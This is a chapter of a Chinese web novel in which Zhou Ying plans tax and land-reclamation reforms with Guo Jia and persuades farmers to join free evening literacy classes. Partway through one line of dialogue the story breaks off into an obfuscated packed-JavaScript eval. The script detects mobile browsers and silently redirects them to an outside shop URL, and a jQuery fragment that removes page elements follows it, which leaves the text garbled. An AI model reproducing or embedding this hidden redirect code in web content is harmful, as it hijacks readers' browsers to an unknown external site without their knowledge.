“至于起运和留存的比例,也要细细商酌,总归是细枝末节繁多,不识字,不懂行的,哪里知道得了这么多?”
听到这,郭奉孝抬头看向他:“所以,你让劝农司那些农户识字,教他们的孩子读书,也是为了后面这些事情做打算?”
“嗯,光靠商号缴纳税额,这其中一定有人会想着偷税漏税,但光靠劝农司自个儿缴纳税额,不识字的农户哪来的能力算清这些账目。”
“只有让两者相互监督,才能成事。”
说到这里,周盈放下笔。
两个人在油灯下嘀嘀咕咕,但郭嘉总觉得这法子好归好,但是太超前了。
“咱们在这儿说的轻巧,但若是真弄起来,折亩、解京、起运、优免权这些,牵扯到地方各色人物,把人都得罪完了。”
听他这么说,周盈不免也叹了口气,这确实是真实存在的问题。
“所以,咱们才要搞商号、搞劝农司。一个人的力量,是比不过一群人的。”
“咱们现在有国策背书,有皇上的人看着,再有地方县令张智林的支持,这可以说,在地方上,我们是有点优势的。”
“但你把他们的钱袋子全捋了,这帮人必然心中有冤。”郭嘉一针见血,没有被周盈这番听起来十分美好的策论说服。
周盈看了他一眼:“是。这就是如何分配利润的问题了。”
“……?”
“我们让一半田改种番薯,自然是还不够的,山阴县那么多荒田,这些也能拿来种。但怎么推行开垦荒田的事情,得让这帮胥吏和官府衙门的人去办。”
眼看着郭嘉皱紧眉头,思忖再三,周盈笑了笑,继续说道:“扯皮的事情,谁最擅长?还是这帮胥吏。”
“由地方衙门牵头,让胥吏组织这些农户、流民开荒。
开出的田,第一年免税,第二、三年半税,第四年起全税。
且这些做事的胥吏,可从新田税中,取一定比例的‘开荒劳务费’,这笔钱可由劝农司发放,账目可查。”
周盈说着,又想到了什么一般,眼睛亮了亮道:
“这帮人的收入,跟田开耕的好不好有关,跟收成好不好也有关,那到时候,谁来盘剥、额外收取其他费用,亦或是收成不好,最着急的还是他们。”
“商号知情,劝农司监督。”
郭嘉听了一连串,思路是都跟上了,也觉得这法子确实不错,但有个问题。
“那优免权呢?”
“新田不优免,且将来推行番薯玉米,总归会有人想继续参与进来,让他们放弃优免权获取参与机会,这也是可以的,不过都是粗略方案,往后得细想。”
“明年怎么办?”
周盈目光有些古怪:“明年?当然不动,钱都没赚到,谁愿意多交钱?”
一听这话,郭嘉眨了眨眼,哎呀一声,自己这是思路全被带进去,还以为周盈要马上动刀呢!
“你想什么呢?饭总得一口一口吃吧?”
“这不是听入迷了吗?谁知道你这性格,会不会石破天惊,说干就干?”
周盈乐了:“你看我像傻子吗?”
郭嘉哼哼两声:“好了好了,这么晚了,该睡觉了!”
说完话,他站起来伸了个懒腰:“明天你自己去吧,让我歇歇。”
“成。”
两人聊了一会儿后,这才各自回屋上床睡觉。不过第二天一大早的,郭嘉睡得挺香的,他完全免疫了周盈发出来的那些声音。
并且翻身找了个更舒服的角度,美美熟睡。
锻炼完,周盈反倒是走到一旁,抄起一根树杈子,挥了挥。
皱了皱眉,叹了口气。
到底是肉体凡胎,一切还得从头开始练啊。
洗了个澡,吃了个饭。
总归还有点闲暇的时间,随后周盈便回到房里,自个儿翻书看账去了。
等郭嘉醒来,都日上三竿了。
这会儿周盈也已经出了门,他去了一趟劝农司。打算看看新落地的蒙学班政策怎么样了。
劝农司大门外。
不少的农户,如今瞪大眼睛,听着管家说的话,只觉……天方夜谭。
“赵管家,您这说的…让咱们管自己的帐,可咱们也不识字啊!”
“对啊!那些黑泥鳅,俺们哪里看得明白!”
那赵管家闻言,“嘿哟”一声,手拍着背,心想这小少爷,非得多弄这么一出戏,现在好了,事情得他跑断腿了办!
办不成还得找他麻烦。
这么想着,嗓门也跟着大了点。
“不是直接让你们看账!是先教你们识字!教你们的孩子识字!这是大好事,小少爷说了,在劝农司蒙学班里,成绩表现优异的,那将来就能进潘岳私塾读书,费用全由劝农司负担。”
眼看着底下一群人,眨着眼睛,呆愣愣的表情,赵管家啧了一声,脸色都带了些不耐烦。
“听懂了没啊?给个声啊?”
沈二柱直接举手,大喊道:“真、真的?这事儿……是小少爷们说的?”
“那还能有假?我跟你们说,这件事情,潘岳私塾那儿都同意了,郭老爷,也同意了!这是天大的恩情呢!”
不少人这时候回过神了,脸色迷茫的、惊讶的、不可置信的、还有一些是皱着眉的。
有人道:“但、但……识字的话,咱们怎么种田啊?”
“是啊,那田不能没人打理!”
“……”赵管家目光呆滞,心里那可真是无语到极致!叫你们读书写字,反倒还没有种田来的好?
听到这,周盈皱眉,大步往前走去。
“叫你们读书,也是在晚上抽些时间教,不会碍着你们的正事的。”
他这一声响起,顿时引得劝农司内所有人都看向了大门口。
见一道白衣胜雪的影子走来,沈二柱顿时脸上一喜:“小贵人!”
周盈颔首一笑,走上前台:“诸位心里的担忧我都明白,但教你们读书写字,也是大事情。”
“咱们种了田,得交税,这税怎么交,全靠那些胥吏一张嘴说,大家都不懂,也就这样稀里糊涂的交上去了。”
这话说的不少人脸色动容了一些,原先那些茫然不解的农户,这会儿也都抬起了头。
巡视一圈,周盈继续道:“但有的时候交的少,有的时候怎么偏偏就要多交呢?大家有没有想过这件事情
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17910803|203982||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
?”
“你们拿粮食去卖的时候,为什么总是卖的那么便宜,大家有想过没有?”
一众人眨着眼睛,有些迟疑,有些迷惘。黢黑的脸上,是风霜雨打的痕迹,也是太阳折射下,烧灼出的大地之色。
但他们眼睛有些亮堂,也有些闪烁起了光彩。
“我知道现在你们心里有了想法。”
“是,教你们识字,就是为了解决你们心中,一直疑惑,一直不理解的问题。”
周盈笑了笑,又言:“本事学到自己身上,才能保护自己,我将来不一定会留在这,但你们会算账了,你们的孩子能读书考功名,这就给你们自己的保障。”
“……”一群农户,这会儿都有些不敢置信。从来没有一个人,会这样对他们说话。
“这、这…可,咱们没钱交识字的费用啊。”
“不用交钱,是义学,晚上抽一个时辰,也不耽搁大家。”
说到这,不少人眼眶一红。
沈二柱唇颤了颤:“这是天大的功德!是菩萨看咱们过得苦,派了小贵人来!”
“小贵人!”
一时间,这群农户里,便有不少人,都开始喊了起来。站在一旁的赵管家见状,脸上神情复杂,也有点儿尴尬。
这事情办的……直接让小少爷撞上了!他真是百口莫辩了…
“赵管家。”
“哎!小少爷,有何吩咐?”
周盈转向他:“好好把事情办了,这些农户识字越多,孩子们成绩越好。给你的俸禄,都能再谈,我找老祖宗拟个章程,按绩效分。”
这话炸的赵管家呆愣了一会儿。
“事情办的漂亮,拿的钱就多,你这心里也舒坦。”
他手抖了抖,咽了咽口水,朝着周盈猛行了一礼:“小的一定办到!小少爷放心!”
闻言,周盈负手,看着他颔首。
临近中午,这才从劝农司大门走了出来。一上车,马夫便赶着马,朝着三甲酒楼走去。
大街上,人来人往。
周盈坐在车里,思忖接下来的事情。
也该到了真上战场的时候了。
酒楼旁轿厅内,这会儿早都停满了各色各样的轿子。
从里头下来的张智林,头戴乌纱帽,身着青蓝官袍。这些日子里,关于国策的事情,也是叫他愁的头发一把一把掉。
本就四五十岁的人了,眼看着头发都比先前白了不少!差事不好办啊!
不过好在是,朝里来了人,他倒是有个人分担压力了。
转头看过去,只见从另一轿子里走出来的一道身影高大,但脸上未蓄胡子,身着件寻常的青白色圆领,乍一看,跟普通人毫无区别。
但细瞧,便觉着料子不凡,在太阳下泛出浅金纹路。
此人生的五官周正,一双眼睛瞥了周围一眼,皱着眉,往前走了几步。
“高公公,咱们到了。”
高烨闻言,点了点头,也不说什么。
于是一行人,从轿厅出发,一路跟着仆从穿过院子、大厅。
“这个周神童来路,你倒是跟我说清楚了。可我怎么都想不明白,怎么有人,胆子能这么大?”